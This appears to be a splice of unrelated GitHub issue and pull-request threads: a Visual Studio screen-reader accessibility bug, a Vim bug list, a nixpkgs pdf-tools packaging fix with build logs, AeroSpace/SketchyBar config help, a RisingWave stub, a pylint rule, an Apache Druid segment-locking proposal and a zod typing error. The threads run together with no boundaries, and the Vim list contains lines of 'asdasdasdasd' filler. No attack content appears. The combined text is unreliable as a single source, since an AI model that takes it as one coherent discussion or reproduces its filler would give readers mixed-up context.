A11y_ML .NET Model Builder_ Advance Data Options_ Screen Reader: Narrator/NVDA are not reading the label "Does the data contain column headers?"

“Check out Accessibility Insights! - Identify accessibility bugs before check-in and make bug fixing faster and easier.”
GitHubTags:
#A11yMAS; #A11yTCS; #Win32; #DesktopApp; #Feature-ML.NETModelBuilder-Win32-Nov2020; #A11ySev2; #NonBenchmark; #Visual Studio; #Screen Reader; #Narrator; #NVDA; #WCAG1.3.1;
Environment Details:
Microsoft Visual Studio 2019 Preview Version 16.8.0 Preview 6.0
Screen Readers:
Narrator; NVDA
Repro Steps:
1.Start Screen Reader
2.Open Visual Studio Enterprise 2019 Preview
3. Create a new .Net Core Console App (C#)
4. Tab to "Solution Explorer" and right click on the project (Shift + F10) and then from the expanded list Select "Add" and then from the list items select "Machine learning"
5. Tab till "Text Classification" scenario and select the scenario
6. Tab till "Next Step" button and press enter
7. Select the data source type and upload the file
8. Tab till "Advanced Data Options" link and press enter
9. Tab till "Data Formatting" tab item and press enter
10. Verify whether Screen readers are reading the label "Does the data contain column headers?" or not
Actual Result:
Narrator/NVDA are not reading the label "Does the data contain column headers?". When focus comes to "Yes" radio button screen readers are reading as "Yes radio button selected"
Expected Result:
When focus comes to first radio button screen readers should first read the label of the radio buttons group and then the radio button name. Screen readers should read as "Does the data contain column headers?  Yes radio button selected"
User Impact:
Screen Reader users will not get to know what are these radio buttons about if screen reader doesn't read the label
Attachment for Reference
1120_ML .NET Model Builder_ Narrator is not reading the label for radio buttons.pptx
1120_ML .NET Model Builder_ NVDA is not reading the label for radio buttons.pptx

Verified the bug in the given build and the issue is fixed. Hence closing the bug
Please find the below screen shots for reference
Microsoft Visual Studio Enterprise 2019 Preview
Version 16.9.0 Preview 4.0 [30917.4.main]


BUG LIST

Disable mouse in firenvim.

Coc gd up and down cannot use <C-j> or <C-k>, and jump to wrong function place.

asdasdasdasd
asdasdasdasd
asdasdasdasd
asdasdasdasd
asdasdasdasd
asdasdasdasd
asdasdasdasd
asdasdasdasd
asdasdasdasd
asdasdasdasd
asdasdasdasd

Telescope keymap should be refined.
Especially for the navigate history key.

vim noice route not enough. for example, when git reset and the buffer content chenged, vim still give notice.


pdf-tools: 0.80 -> HEAD

Motivation for this change
To fix #41916, this commit upgrades the emacs package “pdf-tools” to the HEAD revision, since there’s no official release containing the fix. I'm not sure what to set the package's "version" to, though. Or what to do about the melpa versions of this package.
Things done

[x] Tested using sandboxing (nix.useSandbox on NixOS, or option sandbox in nix.conf on non-NixOS)
Built on platform(s)

[x] NixOS
[ ] macOS
[ ] other Linux distributions

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[x] Tested compilation of all pkgs that depend on this change using nix-shell -p nox --run "nox-review wip"
[ ] Tested execution of all binary files (usually in ./result/bin/)
[x] Fits CONTRIBUTING.md.

I'm not sure what to set the package's "version" to, though.

In such cases we typically set the version to the git revision's date and mark it as unstable, like
version = "unstable-20180613";

@xeji Ah, thanks, fixed!

Thanks. I just tried to build this locally but it failed because emacs packages apparently must have a number as version, so we cannot use the word "unstable" here. Didn't know about that emacs-specific constraint. If you set version = "20180429"; it builds.

I'm not sure if there's an official policy on this, but I usually version things like this as "${lastVersion}-${gitDate}-git", i.e. I would do "0.80-20180429-git". This way lib.versionOlder works as expected and it is unambitious.

@xeji So sorry for not giving this a try before committing! @oxij thanks for the suggestion, I have changed the version accordingly. Seems to work.

@GrahamcOfBorg build emacsPackagesNg.pdf-tools

Failure on x86_64-linux (full log)
Attempted: emacsPackagesNg.pdf-tools
Partial log (click to expand)
/build/source/lisp/pdf-util.el -> /build/pdf-toolsAE1I2z/pdf-tools-0.80-20180429-git/pdf-util.el
/build/source/lisp/pdf-view.el -> /build/pdf-toolsAE1I2z/pdf-tools-0.80-20180429-git/pdf-view.el
/build/source/lisp/pdf-virtual.el -> /build/pdf-toolsAE1I2z/pdf-tools-0.80-20180429-git/pdf-virtual.el
/build/source/server/epdfinfo -> /build/pdf-toolsAE1I2z/pdf-tools-0.80-20180429-git/epdfinfo
Built in 0.021s, finished at Thu Jun 14 07:34:47 2018
glibPreInstallPhase
installing
Opening input file: No such file or directory, /build/source/pdf-tools-0.80snapshot20180429snapshot.tar
builder for '/nix/store/2swb193iz6ad3i6a1l18m2h5iamfj46d-emacs-pdf-tools-0.80-20180429-git.drv' failed with exit code 255
error: build of '/nix/store/2swb193iz6ad3i6a1l18m2h5iamfj46d-emacs-pdf-tools-0.80-20180429-git.drv' failed

Failure on x86_64-darwin (full log)
Attempted: emacsPackagesNg.pdf-tools
Partial log (click to expand)
/private/tmp/nix-build-emacs-pdf-tools-0.80-20180429-git.drv-0/source/lisp/pdf-util.el -> /private/tmp/nix-build-emacs-pdf-tools-0.80-20180429-git.drv-0/pdf-toolsHosawF/pdf-tools-0.80-20180429-git/pdf-util.el
/private/tmp/nix-build-emacs-pdf-tools-0.80-20180429-git.drv-0/source/lisp/pdf-view.el -> /private/tmp/nix-build-emacs-pdf-tools-0.80-20180429-git.drv-0/pdf-toolsHosawF/pdf-tools-0.80-20180429-git/pdf-view.el
/private/tmp/nix-build-emacs-pdf-tools-0.80-20180429-git.drv-0/source/lisp/pdf-virtual.el -> /private/tmp/nix-build-emacs-pdf-tools-0.80-20180429-git.drv-0/pdf-toolsHosawF/pdf-tools-0.80-20180429-git/pdf-virtual.el
/private/tmp/nix-build-emacs-pdf-tools-0.80-20180429-git.drv-0/source/server/epdfinfo -> /private/tmp/nix-build-emacs-pdf-tools-0.80-20180429-git.drv-0/pdf-toolsHosawF/pdf-tools-0.80-20180429-git/epdfinfo
Built in 0.036s, finished at Thu Jun 14 08:20:15 2018
glibPreInstallPhase
installing
Opening input file: No such file or directory, /private/tmp/nix-build-emacs-pdf-tools-0.80-20180429-git.drv-0/source/pdf-tools-0.80snapshot20180429snapshot.tar
builder for '/nix/store/s5zrsn5drlr6mdgmikxx0zlaa24hkgmg-emacs-pdf-tools-0.80-20180429-git.drv' failed with exit code 255
error: build of '/nix/store/s5zrsn5drlr6mdgmikxx0zlaa24hkgmg-emacs-pdf-tools-0.80-20180429-git.drv' failed

Failure on aarch64-linux (full log)
Attempted: emacsPackagesNg.pdf-tools
Partial log (click to expand)
/build/source/lisp/pdf-util.el -> /build/pdf-toolsovg3qp/pdf-tools-0.80-20180429-git/pdf-util.el
/build/source/lisp/pdf-view.el -> /build/pdf-toolsovg3qp/pdf-tools-0.80-20180429-git/pdf-view.el
/build/source/lisp/pdf-virtual.el -> /build/pdf-toolsovg3qp/pdf-tools-0.80-20180429-git/pdf-virtual.el
/build/source/server/epdfinfo -> /build/pdf-toolsovg3qp/pdf-tools-0.80-20180429-git/epdfinfo
Built in 0.086s, finished at Thu Jun 14 07:35:21 2018
glibPreInstallPhase
installing
Opening input file: No such file or directory, /build/source/pdf-tools-0.80snapshot20180429snapshot.tar
builder for '/nix/store/k61dyxija68l06v116yp9imykkqf4w7h-emacs-pdf-tools-0.80-20180429-git.drv' failed with exit code 255
error: build of '/nix/store/k61dyxija68l06v116yp9imykkqf4w7h-emacs-pdf-tools-0.80-20180429-git.drv' failed

This still doesn't build.

Even better would be using the release and adding the relevant commits to patches:
    patches = [
      (fetchpatch {
        url = https://github.com/politza/pdf-tools/commit/6505a0e817495b85897c9380161034ae611ddd90.patch;
        sha256 = "122ycbja8ckaysp58xqfcv11sgpbcp78pll5mywf9hgr0qap9jsy";
      })
      (fetchpatch {
        url = https://github.com/politza/pdf-tools/commit/ded6341b0e3ad97e8b14f68c1796ba66dc155fd1.patch;
        sha256 = "0hd2v4c6xq2jzg2m6s5kzs0fldgygf1pnfqd11v6x4w05zvxn6a2";
      })
      (fetchpatch {
        url = https://github.com/politza/pdf-tools/commit/50a5297b82e26cfd52f6c00645ddc1057099d6a7.patch;
        sha256 = "107rqzldg06h8k3pmdinkl78dr4xycm570sp2an4ihjmpmph0z39";
      })
    ];

@xeji How are you testing this?

@jtojnar If I do this, should the version stay at 0.80?

Yes.

@pmiddend to test the build with your local nixpkgs clone, you can use
nix-build /path/to/nixpkgs-clone -A emacsPackagesNg.pdf-tools

@xeji Ah, thanks. I was able to reproduce it. I used fetchpatch like @jtojnar suggested to fix the problem (and keep the version at 0.80).

@GrahamcOfBorg build emacsPackagesNg.pdf-tools

Success on x86_64-linux (full log)
Attempted: emacsPackagesNg.pdf-tools
Partial log (click to expand)
Parsing tar file...
Parsing tar file...done
glibPreFixupPhase
post-installation fixup
shrinking RPATHs of ELF executables and libraries in /nix/store/dycb9719nbz5qpi96b12hafwbwsggqa0-emacs-pdf-tools-0.80
shrinking /nix/store/dycb9719nbz5qpi96b12hafwbwsggqa0-emacs-pdf-tools-0.80/share/emacs/site-lisp/elpa/pdf-tools-0.80/epdfinfo
strip is /nix/store/4mf2xm9p32lzrim927yk92xhx35yaz62-binutils-2.30/bin/strip
patching script interpreter paths in /nix/store/dycb9719nbz5qpi96b12hafwbwsggqa0-emacs-pdf-tools-0.80
checking for references to /build in /nix/store/dycb9719nbz5qpi96b12hafwbwsggqa0-emacs-pdf-tools-0.80...
/nix/store/dycb9719nbz5qpi96b12hafwbwsggqa0-emacs-pdf-tools-0.80

Success on aarch64-linux (full log)
Attempted: emacsPackagesNg.pdf-tools
Partial log (click to expand)
Parsing tar file...
Parsing tar file...done
glibPreFixupPhase
post-installation fixup
shrinking RPATHs of ELF executables and libraries in /nix/store/91azmkyj5l4qh68naagq4p2y0l5g6w4j-emacs-pdf-tools-0.80
shrinking /nix/store/91azmkyj5l4qh68naagq4p2y0l5g6w4j-emacs-pdf-tools-0.80/share/emacs/site-lisp/elpa/pdf-tools-0.80/epdfinfo
strip is /nix/store/min150lkigznaayzpwvf8d4jdl1dqvx6-binutils-2.30/bin/strip
patching script interpreter paths in /nix/store/91azmkyj5l4qh68naagq4p2y0l5g6w4j-emacs-pdf-tools-0.80
checking for references to /build in /nix/store/91azmkyj5l4qh68naagq4p2y0l5g6w4j-emacs-pdf-tools-0.80...
/nix/store/91azmkyj5l4qh68naagq4p2y0l5g6w4j-emacs-pdf-tools-0.80

Success on x86_64-darwin (full log)
Attempted: emacsPackagesNg.pdf-tools
Partial log (click to expand)
Warning: Unknown macro property font-lock in pdf-virtual-define-adapter
Warning: Unknown macro property imenu in pdf-virtual-define-adapter
Done (Total of 15 files compiled, 2 skipped)
Parsing tar file...
Parsing tar file...done
glibPreFixupPhase
post-installation fixup
strip is /nix/store/8q05v40n0f7amgw70pk6bkb23r7hrzgn-cctools-binutils-darwin/bin/strip
patching script interpreter paths in /nix/store/h5sx8sjn84kwdwmz1gp89pinmmh13qdf-emacs-pdf-tools-0.80
/nix/store/h5sx8sjn84kwdwmz1gp89pinmmh13qdf-emacs-pdf-tools-0.80

Looks good, thank you.


[release-4.9] OCPBUGS-899: Bump openshift login plugin to 1.0.29

Signed-off-by: divyansh42<EMAIL_ADDRESS>

/assign @mbharatk
for lgtm
/assign @coreydaley
for backport-risk-assessed
/assign @jitendar-singh
for cherry-pick-approved

/label backport-risk-assessed

/lgtm


Problem With Callback 'exec-on-workspace-change'

I am on aerospace AeroSpace v0.14.1-Beta 5861e85b65cb7dc914a0a68027c56e2bc90510fd.
I copy and pasted the following sketchybar event trigger script from the Aerospace Goodness web page:
# Notify Sketchybar about workspace change
exec-on-workspace-change = [
  '/bin/bash',
  '-c',
  'sketchybar --trigger aerospace_workspace_change FOCUSED_WORKSPACE=$AEROSPACE_FOCUSED_WORKSPACE',
]

When I switch workspaces, my label is not updated. Note that running the command directly (e.g. sketchybar --trigger aerospace_workspace_change FOCUSED_WORKSPACE=10) works.

Upon further debugging, it seems as though the event is not even being triggered.
Can anyone help?

mine looks like this
taken from there: https://github.com/forteleaf/sketkchybar-with-aerospace
the only real difference that i spot, is the absolute path
# Notify Sketchybar about workspace change
exec-on-workspace-change = ['/bin/bash', '-c',
    '/opt/homebrew/opt/sketchybar/bin/sketchybar --trigger aerospace_workspace_change AEROSPACE_FOCUSED_WORKSPACE=$AEROSPACE_FOCUSED_WORKSPACE AEROSPACE_PREV_WORKSPACE=$AEROSPACE_PREV_WORKSPACE'
]

yesssss ty. The problem was the absolute path.
(as a side note, the commas were added by the lua autoformatter...which leads me to believe that trailing commas are conventional in lua)


NVIDIA Cloud Functions backend

Add NVIDIA Cloud Functions (NVCF) backend support
Allow non-blocking autotrain job submissions
Enable polling for appropriate function cleanup until native job support is enabled for NVCF

The docs for this PR live here. All of your documentation changes will be reflected on that endpoint. The docs are available until 30 days after the last update.


feat: support dummy implementation for pg_depend

I hereby agree to the terms of the RisingWave Labs, Inc. Contributor License Agreement.
What's changed and what's your intention?
Resolve #11321 . Tested newest version of DBeaver locally and it worked now. Note that it's just a dummy implementation of pg_depend, let's support Dbeaver running first.
Checklist

[ ] I have written necessary rustdoc comments
[ ] I have added necessary unit tests and integration tests
[ ] I have added fuzzing tests or opened an issue to track them. (Optional, recommended for new SQL features #7934).
[ ] My PR contains breaking changes. (If it deprecates some features, please create a tracking issue to remove them in the future).
[ ] All checks passed in ./risedev check (or alias, ./risedev c)
[ ] My PR changes performance-critical code. (Please run macro/micro-benchmarks and show the results.)

[ ] My PR contains critical fixes that are necessary to be merged into the latest release. (Please check out the details)

Documentation

[ ] My PR contains user-facing changes.

Click here for Documentation
Types of user-facing changes
Please keep the types that apply to your changes, and remove the others.

Installation and deployment
Connector (sources & sinks)
SQL commands, functions, and operators
RisingWave cluster configuration changes
Other (please specify in the release note below)

Release note

Thanks Pin! Could you also add the sql query in the issue to e2e test?

Yes sure. I will add it.


Fix hide-inactive-deployments selector

GitHub changed the selector.
Test

https://github.com/OpenLightingProject/open-fixture-library/pull/425

Thanks, you're right.
Unfortunately, there is no longer one selector that matches inactive, pending, failed, and successful deployment events. Actually, the new selector for successful deployments is quite ugly, but we need it to hide the last inactive deployment before the active one.

I’d put your new label selector in the select.all and then just use closest to reach the “timeline item”, instead of having a select.exists condition

I'm confused. Isn't that exactly what I did in the last commit? There is no select.exists anymore.

I hope this works

Well, at least for me it does, while the current master branch doesn't.


Add pylint trailing whitespace rule

@geohot mentioned wanting this in the 7/20 daily voice call.  Added Pylint trailing-whitespace / C0303 to CI linter job.
This causes the linter job to fail based on findings, if desired I can apply the suggested changes in this PR.

Want to just put in on line 30 to check the tinygrad dir? That should already pass

Meh, actually I'll merge this if it passes

Want to just apply the fixes?


Suggestion: make header.html links open in new tab/window

I feel like it has become the norm to open github / discussion links in a new tab / window by default, so I was a little confused when I clicked the github link on https://noiseehc.github.io/c64wrd/ and it took over the website's tab.

thanks :)


[Proposal] Minimizing the lock granularity for indexing

This proposal is to fix https://github.com/apache/incubator-druid/issues/6136.
Background
Druid's versioning system & segment timeline
Currently in Druid, a segment is tightly coupled with its interval. All timestamps stored in the segment fall into segment's interval. The segment version is associated with the segment interval. That is, all visible segments in the same interval have the same version.
With the concept of segments and their intervals, we can imagine that a set of segments composes a segment timeline. The segment timeline can be thought of as a timeChunk space. In this space, the segments are lined up by their interval. The segments of the same interval fall into the same timeChunk.
This can be represented by a sorted map of interval and its corresponding segments, which is implemented in VersionedIntervalTimeline. The VersionedIntervalTimeline is responsible for searching for the segments of the highest version in the given interval (lookup()). If there are two or more segments of different versions in the same interval, the segments of the lower version are overshadowed by the ones of the highest version and not visible to other components in Druid. This timeline is being used primarily by coordinators and brokers to update the timeline with new segments and to find queryable segments, respectively. We are also using the timeline in many places to figure out the latest segments from the given set of segments.
TimeChunk locking
In Druid, tasks should get a task lock before reading or writing segments. This task lock is currently for coordinating all accesses to a timeChunk. For example, if a task needs to read segments of a timeChunk of 2019-01-01/2019-01-02, it should get a lock for that timeChunk before reading segments. While this lock is valid, no other tasks can read segments in the same timeChunk or write new segments into it.
Once a task gets a lock, it remains valid until 1) the task is finished or 2) another task of a higher priority revokes the lock (see https://github.com/apache/incubator-druid/issues/4479 for more details).

This figure shows an example of time chunk locking. IndexTask and KafkaIndexTask got a lock for the timeChunk of 2018-01-01/2018-04-01 and 2018-08-01/2018-09-01, respectively.
Note that each task can generate one or more segments. If a task creates multiple segments using the same lock, the created segments would have the same version.
The version of new locks usually have the higher version than the old ones. For example, overwriting tasks always get a lock of the higher version than that of existing segments. However, sometimes, we need to use the same version across different locks. The well-known use case is the tasks of the appending mode like kafkaIndexTask. Since these tasks append new segments to timeChunks where some segments can already exist, the new segments shouldn't overshadow the existing ones. So, the appending tasks get the lock of the same version with the existing segments. This is implemented in TaskLockBox.
Problem & motivation
Since https://github.com/apache/incubator-druid/issues/6136 is describing well what the problem and the motivation are, I'm just summarizing the key problems and motivations here.
Late data problem
The kafkaIndexTask has the higher priority than the compactionTask by default. If some data arrives late, the kafkaSupervisor spawns new kafkaIndexTasks to handle the late data. If a compaction tasks was running for any overlapping timeChunk, the new kafkaIndexTask would revoke the locks of the running compactionTask. If this happens frequently, the compaction might never complete.
To avoid this problem, the compaction should be available while new data is being ingested into the same dataSource and the same timeChunk. From the perspective of optimization, this is also good because more recent data becomes available for compaction as soon as it gets ingested into Druid.
Requirements for compaction

A segment should be available for compaction immediately once it is published.
Overwriting tasks (including compactionTask) and appending tasks shouldn't interfere each other. More generally speaking, two tasks shouldn't block each other if they read/write from/to different segments.

This implies the segments generated by appendingTasks should be always queryable even if overwriting tasks are running for the same timeChunk.

Overwriting tasks can change the segment granularity. This means, a segment can overshadow another segment even if they have different timeChunks.

Public interfaces
Changes for DataSegment

DataSegment has an interval, a version, and a partitionId as it is.

No two segments have the same (interval, version, partitionId) as it is.

DataSegment has two new sets of partitionIds (each partitionId represents a segment).

Overshadowed segments: the segments overshadowed by this segment. This represent the overshadowing relation between segments of the same version in the same time chunk.
Atomic update group: the segments which should be atomically updated all together in the timeline. This will be further explained later in the below Timeline construction algorithm section.

The DataSegment class would be like below:
public class DataSegment
{
  private final String dataSource;
  private final Interval interval;
  private final String version;
  private final Map<String, Object> loadSpec;
  private final List<String> dimensions;
  private final List<String> metrics;
  private final ShardSpec shardSpec;
  private final long size;
  private final String identifier;
  // the below two sets can be improved by encoding consecutive partitionIds as a range
  private final Set<Integer> overshadowingSegments;
  private final Set<Integer> atomicUpdateGroup;
}

Proposed changes
I propose to add a new lock type, segment lock. Unlike timeChunk lock, segmentLock is to coordinate the access (reading/writing) to individual segments. With segmnet lock, each task should get a lock whenever it reads or writes a segment. If two or more tasks request a lock for the same segment at the same time, only one task will get a lock and others should wait for the task to release the lock. Since two or more tasks can read or write segments of the same timeChunk, there should be no lock contention between appending tasks (e.g., kafkaIndexTask) and overwriting tasks (e.g., compactionTask).

This figure shows an example of the segment locking. A compactionTask should get locks for all input segments before it starts. It should also get locks for output segments before writing segments. A kafkaIndexTask gets a new lock whenever it reads an event of a new timestamp which is not covered by its current locks. Since each task has separate locks for individual segments, there's no lock contention between kafkaIndexTask and compactionTask even though they are running for the same dataSource and the same timeChunk.
Please note that segment lock doesn't replace the existing timeChunk lock. Instead, both can be used in different cases. Details are described in the below 'Changes in indexing service' section.
The segment lock makes the current timeline implementation broken because we should be able to figure out what segments are newer than others even in the same timeChunk. As a result, we need a new mechanism to support this new requirement for segment locking.
The below sections describes details of the algorithms for segment locking and timeline management.
Lock granularity (segment lock vs timeChunk lock)
Indexing tasks now have two options for locking, i.e., segment lock and timeChunk lock.
Segment lock
All tasks should use segment lock only except when they are overwriting existing segments with different segmentGranularities.
In segment locking, a task first gets locks for all input segments if exist. Whenever the task writes a new row having the timetamp which are not covered by the current lock for output segments, it gets a new lock for the new output segment. This lock allocation for new segments involve allocating new segmentIds as well. If the task is overwriting existing segments, the new segmentIds would have those existing segments in their overshadowedSegments. The detailed changes for segment allocation is described in the below 'Segment allocation' section.
The SegmentLock would be like:
public class SegmentLock implements TaskLock
{
  private final TaskLockType type;
  private final String groupId;
  private final String dataSource;
  private final Interval interval;
  private final String version;
  private final Integer priority;
  private final boolean revoked;
  private final IntSet partitionIds;
}

With this change, a giant batch task can get a lot of segment locks instead of a single timeChunk lock.
TimeChunk lock
The timeChunk lock is same with the current taskLock. Tasks get a lock for a timeChunk (e.g., 2019-01-01/2019-01-02) before reading segments from the timeChunk or writing new segments into the timeChunk.
The timeChunk lock is used only when overwriting tasks change the segment granularity. For example, if a compactionTask with segmentGranularity = DAY should use the timeChunk lock if the original segmentGranularity was HOUR.
When a task requests a timeChunk lock, the overlord allocates a new version for the requested lock which must be higher than the versions of any existing segments in the same timeChunk. All new segments created with this lock would have the new version. Since new segments with a timeChunk lock would always have a higher version than existing segments, they overshadow all existing segments.
The TimeChunkLock class would look like below:
public class TimeChunkLock implements TaskLock
{
  private final TaskLockType type;
  private final String groupId;
  private final String dataSource;
  private final Interval interval;
  private final String version;
  private final Integer priority;
  private final boolean revoked;
}

Segment allocation
Segment allocation is allocating segmentIds for new segments. The segment allocation algorithm is different depending on the lock granularity and the rollup mode.
If the lock granularity = segmentLock, the segment allocation must be centralized in the overlord so that all segments of the same version have a different partitionId in the same timeChunk. If the lock granularity = timeChunkLock, each task can generate segments of any partitionIds by itself since new segments would have a higher version than existing segments.
If rollup mode = best-effort rollup, segments can be allocated dynamically whenever a new segment needs to be created. In the perfect rollup mode, all new segments should be allocated with a proper shardSpec at once before writing data into segments.
To sum up,

Lock granularity
Rollup mode
Segment allocation algorithm

segment lock
best-effort rollup
Centralized incremental segment allocation. Whenever a task sends a lock request for a new segment, the overlord allocates a new segmentId and creates a lock for the new segment. The segmentId allocation and lock creation are performed atomically.

segment lock
perfect rollup
Centralized bulk segment allocation. The task sends lock requests for all new segments before it starts writing segments.

timeChunk lock
best-effort rollup
Local incremental segment allocation. The task allocates a new segmentId on its own whenever it needs.

timeChunk lock
perfect rollup
Local bulk segment allocation. The task allocates all new segmentIds on its own before it starts writing segments.

Segment metadata creation
In memory, segment metadata is stored in DataSegment. The two new fields of DataSegment are overshadowedSegments and atomicUpdateGroup.
overshadowSegments is a set of partitionIds of the input segments. For example, given a task which overwrites segments of foo_2019-01-01T00:00:00.000Z_2019-02-01T00:00:00.000Z_version and foo_2019-01-01T00:00:00.000Z_2019-02-01T00:00:00.000Z_version_1, all its output segments in the timeChunk of 2019-01-01/2019-02-01 would have an overshadowedSegments of (0, 1). overshadowedSegments is filled only when the task overwrites some existing segments with the same segment granularity. Otherwise, it remains empty.
atomicUpdsteGroup is a set of partitionIds of segments which must become visible at the same time in the timeline. This is same with a set of partitionIds of segments which are published together per timeChunk. For example, given a task which generates new segments of foo_2019-01-01T00:00:00.000Z_2019-02-01T00:00:00.000Z_version_2, foo_2019-02-01T00:00:00.000Z_2019-03-01T00:00:00.000Z_version_2, and foo_2019-02-01T00:00:00.000Z_2019-03-01T00:00:00.000Z_version_3, the atomicUpdateGroup of the first segment would be (2) while the second and the third segments would have (2, 3). atomicUpdateGroup is filled only when overshadowedSegments is not empty.
Changes in TaskLockBox
TaskLockBox should support both timeChunk locks and segment locks. It checks the followings to detect lock collisions.

A single exclusive interval lock can exist for the same interval.
Two or more shared interval locks can exist for the same interval.
Two or more mixed interval locks can't exist for the same interval.
Interval locks and segment locks can't exist for the same interval.
A single exlusive segment lock can exist for the same interval and the same partitionId.
Two or more shared segment locks can exist for the same interval and the same partitionId.
Two or more mixed segment locks can't exist for the same interval and the same partitionId.

Since segment allocation and lock creation should be performed atomically, the taskLockbox is also responsible for allocating new segmentIds. When a task sends a lock request, it explicitly specifies it's for a new segment. The taskLockbox checks if the request is for a new segment and allocates a new segmentId.
Note that the segment allocation in taskLockbox can happen only for segment locks.
Timeline management
The new timeline extends the capability of the existing timeline algorithm based on the versioned intervals; the timeline first compares the segment version and then their overshadowedSegments to find the overshadowing relation between them.
Since overshadowedSegments stores only one-hop overshadowing relation, we need to track the overshadowedSegments of multiple hops to figure out all overshadowing relations. This is traversing overshadowedSegments graph where each segment and the overshadowing relation between two segments are the node and the edge, respectively.

The above figure shows an example of overshadowedSegments graph. Let's imagine the below scenario.

A batch task created the segments 1, 2, and 3.
A compaction task merged segment 2 and 3 to segment 4. At the same time, a kafkaIndexTask created segment 5.
A compaction task created segments 6 and 7 by mixing segments 4 and 5. At the same time, a kafkaIndexTask created segment 8.

The created segments consist of the overshadowing graph. After 3., only segments 1, 6, 7, and 8 are visible.
Coordinators and brokers should be able to update their timeline incrementally whenever a historical announces/unannounces a segment. Segments can have 3 different states in the timeline.

standby: a segment is online but some segments in its atomicUpdateGroup are not online yet. Segments in this state are not queryable.
visible: a segment is queryable.
overshadowed: a segment is online but overshadowed by other segments. Segments in this state are not queryable.

When a new segment is added, its state can be either standby or overshadowed. Then, its state can be changed like standby -> visible <-> overshadowed.
Bulk construction from a set of segments

Find all overshadowed segments by merging the overshadowedSegments of all input segments.
For each remaining segment, check all segments in its atomicUpdateGroup exist in the input segment set but not in total overshadowedSegments. If they do, they are visible. Otherwise, they are standby.

Incremental update for new segments
This algorithm is called whenever a new segment is added to a timeline. For example, a new segment is loaded by a historical, the segment is newly added to brokers' timeline.

Compares the version of the new segment with other segments of overlapping intervals.

If the new segment has a higher version than others, only the new segment is visible.
If the new segment has the same version and the same interval with existing segments, checks its overshadowedSegments and atomicUpdateGroup. If it has no overshadowedSegments, it can be visible immediately. Otherwise, all segments in the overshadowedSegments are atomically swapped with the segments in the atomicUpdateGroup.

Incremental update for removed segments
This algorithm is called whenever an existing segment is removed from a timeline. For example, if a historical becomes offline, all its segments are removed from brokers' timeline.
Unlike adding new segments, removing segments should consider falling back to existing segments. Suppose two segments, A and B, and the segment A overshadows the segment B. When the segment A is removed but the segment B is still available, the broker should be able to route queries to the historical serving the segment B.

Remove a segment from the timeline.
If the removed segment was visible, check its overshadowed segments.

If all overshadowed segments are in either overshadowed or standby states, all segments in atomicUpdateGroup of the removed segments are atomically swapped with its overshadowed segments.
Otherwise, for each segment in the overshadowed segments of the removed segment, repeat the above step until any swappable atomicUpdateGroup is found.
If any swappable atomicUpdateGroup is not found, changes nothing.

This only works if there is no missing node in the timeline. To guarantee this, we need to add a new assumption that the timeline user (brokers, coordinators) are aware of all active segments of which used is set to true in the metadata store.
The coordinator is already syncing active segments from the metastore periodically (SQLMetadataSegmentManager).
Brokers can do a similar sync to the coordinator. See https://github.com/apache/incubator-druid/issues/6834.
Compatibility, Deprecation, and Migration Plan
Since the both timeChunk and segment locks are supported, there's no compatibility issue for timeChunk lock requests from tasks of an old version.
Rejected Alternatives
There are two rejected alternatives.
The first proposal for background compaction
https://github.com/apache/incubator-druid/issues/4434
Representing the overshadowing relation as comparing numbers
In this alternative, a partition of a segment is represented by a range of fraction, i.e., startPartitionId and endPartitionId. For appending tasks, the partitions of new segments are increased by 1 like [0, 1), [1, 2), .... In overwriting tasks, the partitionId of each segment is (endPartitionId of last partition - startPartitionId of first partition) * i / (# of output partitions) where i is the index for new segment.
For example, suppose there are 3 segments of partitionIds [0, 1), [1, 2), and [2, 3). If an overwriting task reads these segments and generates 2 segments, the new segments would have partitionIds of [0, 3/2) and [3/2, 3).
Since a fraction can theoretically represent any number, any partition can be represented by a pair of fractions no matter how many times the partition has been split.
This idea was dropped because it's quite less intuitive than this proposal. Also, this assumes the partition ranges are always consecutive which can be not true.

If the task is overwriting existing segments, the new segmentIds would have those existing segments in their overshadowedSegments.

When using the segment-level locks, can you add more description to this part that points out that the new segments with the same segmentGranularity would have the same version string as the segments being overshadowed?

In the Changes to TaskLockbox section, can you clarify the difference between shared and mixed locks?

In this proposal, what happens in the following case?

Suppose we have two segments as partitions of a DAY granularity time chunk, partitions 0,1
Two compaction tasks are issued on those segments simultaneously, which would compact 0,1 to a new single DAY granularity segment
The two tasks both attempt to get a lock on (0,1)
One task gets a lock on (0,1) first and creates segment with partition 2, its overshadowedSegments are (0,1)
Now that the locks are free, what does the second task do? Would it try to compact (0,1) again?

For  private final Set<Integer> overshadowingSegments;, I think it's worth mentioning that an alternative design would be to store the complete overshadowing graph here

@jon-wei thank you for your review!

When using the segment-level locks, can you add more description to this part that points out that the new segments with the same segmentGranularity would have the same version string as the segments being overshadowed?

Added.

In the Changes to TaskLockbox section, can you clarify the difference between shared and mixed locks?

Changed statements. The shared lock is a type of lock which was added in https://github.com/apache/incubator-druid/pull/4550.

For private final Set overshadowingSegments;, I think it's worth mentioning that an alternative design would be to store the complete overshadowing graph here

Added.

In this proposal, what happens in the following case?

Suppose we have two segments as partitions of a DAY granularity time chunk, partitions 0,1
Two compaction tasks are issued on those segments simultaneously, which would compact 0,1 to a new single DAY granularity segment
The two tasks both attempt to get a lock on (0,1)
One task gets a lock on (0,1) first and creates segment with partition 2, its overshadowedSegments are (0,1)
Now that the locks are free, what does the second task do? Would it try to compact (0,1) again?

Good question! In this case, the compaction task would check the input segments are the latest ones before starting reindexing. So, the second is supposed to fail because its input segments won't be the latest ones anymore.
Hadoop task also does a similar check. So, maybe it's fine.. But I think it makes sense to add a check to make second overwriting task failed immediately because there's no point of waiting for getting a lock.

I find this proposal takes too many memory to keep overshadowing relation in memory. Closing in favor of https://github.com/apache/incubator-druid/issues/7491.


Type error when combining catchall and array

Hi everyone. Thank you very much for the great work on zod!
I am getting an error with the following code:
const team = z
    .object({
        members: z.array(z.object({
            name: z.string(),
        })),
    })
    .catchall(z.array(z.string()));
type Team = z.infer<typeof team>;

const t1: Team = {
    members: [
        { name: 'Alice' },
    ],
    aliases: ['a', 'b'],
};

The error message is:
TS2322: Type
  {
    members: {
      name: string;
    }[];
    aliases: string[];
  }
is not assignable to type
objectOutputType<{
  members: ZodArray<ZodObject<{
      name: ZodString;
    }, 'strip', ZodTypeAny, {
      name: string;
    }, {
      name: string;
    }>, 'many'>;
  },
  ZodArray<ZodString, 'many'>,
  'strip'
>

Type
  {
    members: {
      name: string;
    }[];
    aliases: string[];
  }
is not assignable to type
{ [k: string]: string[]; }

Property members is incompatible with index signature.
